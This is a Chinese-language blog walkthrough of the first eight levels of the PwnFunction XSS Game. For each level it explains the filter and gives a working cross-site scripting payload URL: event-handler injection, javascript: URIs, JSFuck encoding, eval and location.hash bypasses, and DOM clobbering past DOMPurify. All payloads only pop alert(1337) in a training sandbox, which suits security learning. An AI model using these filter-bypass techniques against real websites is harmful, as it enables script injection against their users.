XSS Game前八关

分享一个XSS游戏的链接

XSS Game

第一关:

这边有一个innerHTML属性,我们查看官方文档

我们找到了它存在的漏洞,直接利用

复制代码
https://sandbox.pwnfunction.com/warmups/ma-spaghet.html?somebody=<img src=1 onerror="alert(1337)">

第二关:

复制代码
https://sandbox.pwnfunction.com/warmups/jefff.html?jeff=aaa";alert(1337);"

第三关:

我第一个想到的就是

复制代码
https://sandbox.pwnfunction.com/warmups/da-wey.html?wey=aaaaaa" onclick="alert(1)

用到onclick,这个没有满足不能与用户交互的要求,但是其他都符合

复制代码
https://sandbox.pwnfunction.com/warmups/da-wey.html?wey=aaaaaa" onfocus="alert(1337)

用onfocus会有一点改进,但是在触发的一瞬间还是需要用户聚焦

复制代码
https://sandbox.pwnfunction.com/warmups/da-wey.html?wey=aaaaaa" onfocus=alert(1337) autofocus="

这个完美符合要求,它会自动聚焦

第四关:

复制代码
https://sandbox.pwnfunction.com/warmups/ricardo.html?ricardo=javascript:alert(1337)

第五关:

它对很多字符进行了过滤,跟前面第一关一样用到了inner HTML属性,所以我们往img标签想

但是它对()进行了过滤,所以我们想给它的()符号进行编码,但是解析的话还是会被识别,所以我们会用到location属性先将它看作是字符串等绕过了程序再进行解码

复制代码
https://sandbox.pwnfunction.com/warmups/thats-hawt.html?markassbrownlee=<img src=1 onerror=location="javascript:alert%281337%29">

第六关:

它将我们的数字字母都过滤了,我们试试能不能编码绕过,由于需要经过底层js过滤(需要用到jsfuck编码),再在地址栏输入所以需要url编码

我们把拿到的jsfuck编码再进行url编码

复制代码
https://sandbox.pwnfunction.com/warmups/ligma.html?balls=%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b!%5b%5d%5d%2b%5b%5d%5b%5b%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%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d%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%2b%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%5d%2b%5b%2b!%2b%5b%5d%5d%2b%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(%5b%2b%5b%5d%5d%2b!%5b%5d%2b%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b!%5b%5d%5d%2b%5b%5d%5b%5b%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d)

主要是先进行jsfuck编码再进行url编码,最后完成

第七关:

所以我们就当作三个都过滤了

第一种方法:利用匿名函数加大写绕过

为什么要刚开始写成大写后面又利用source.toLowerCase()转成小写呢,因为刚开始大写是要绕过正则表达式,后面又转换成小写是因为js严格区分大小写,就算绕过了也无法执行。

复制代码
https://sandbox.pwnfunction.com/warmups/mafia.html?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

第二种方法:利用parseInt和tostring方法

打开控制台工具试验一下

复制代码
https://sandbox.pwnfunction.com/warmups/mafia.html?mafia=eval(8680439..toString(30))(1337)

第三种方法:利用hash函数,hash函数后面的值不会被认为是传参,所以可以绕过

复制代码
https://sandbox.pwnfunction.com/warmups/mafia.html?mafia=eval(location.hash.slice(1))#alert(1337)

第八关:

setTimeout(ok, 2000)中的ok可以接收一个函数或者字符串,如果我们能够向ok这个变量注入可执行的payload,那么也就能成功弹框

通过向HTML注入DOM元素,来实现操作JavaScript变量首先,要构造一个变量ok,我们可以通过创建一个id=ok的DOM元素来实现,比如<div id="ok"></div>

在控制台试验一下,可以用属性值得到标签名和属性名

然后,ok需要接受一个字符串作为值,而在对<a>标签调用toString()方法时,会返回属性href的值,所以,我们可以选择<a>标签作为构造对象

href的值要遵守protocol:uri的格式,然而,在href里直接使用javascript:协议是不行的

通过查看DOMPurify的源码可以发现,它支持的合法的协议有mailto, tel, xmpp等等,随便选择一个即可,这里我就用mailto了。

复制代码
https://sandbox.pwnfunction.com/warmups/ok-boomer.html?boomer=%3Ca%20id=ok%20href=mailto:alert(1337)%3E
相关推荐
hepherd3 分钟前
Flask学习笔记 - 模板渲染
前端·flask
LaoZhangAI3 分钟前
【2025最新】Manus邀请码免费获取完全指南:5种稳定渠道+3个隐藏方法
前端
经常见4 分钟前
浅拷贝与深拷贝
前端
前端飞天猪9 分钟前
学习笔记:三行命令,免费申请https加密证书📃
前端
关二哥拉二胡11 分钟前
前端的 AI 应用开发系列二:手把手揭秘 RAG
前端·面试
斯~内克12 分钟前
前端图片加载性能优化全攻略:并发限制、预加载、懒加载与错误恢复策略
前端·性能优化
奇怪的知识又增长了21 分钟前
Command SwiftCompile failed with a nonzero exit code Command SwiftGeneratePch em
前端
Maofu21 分钟前
从React项目 迁移到 Solid项目的踩坑记录
前端
薄荷味22 分钟前
ubuntu 服务器安装 docker
前端
Carlos_sam22 分钟前
OpenLayers:如何控制Overlay的层级?
前端·javascript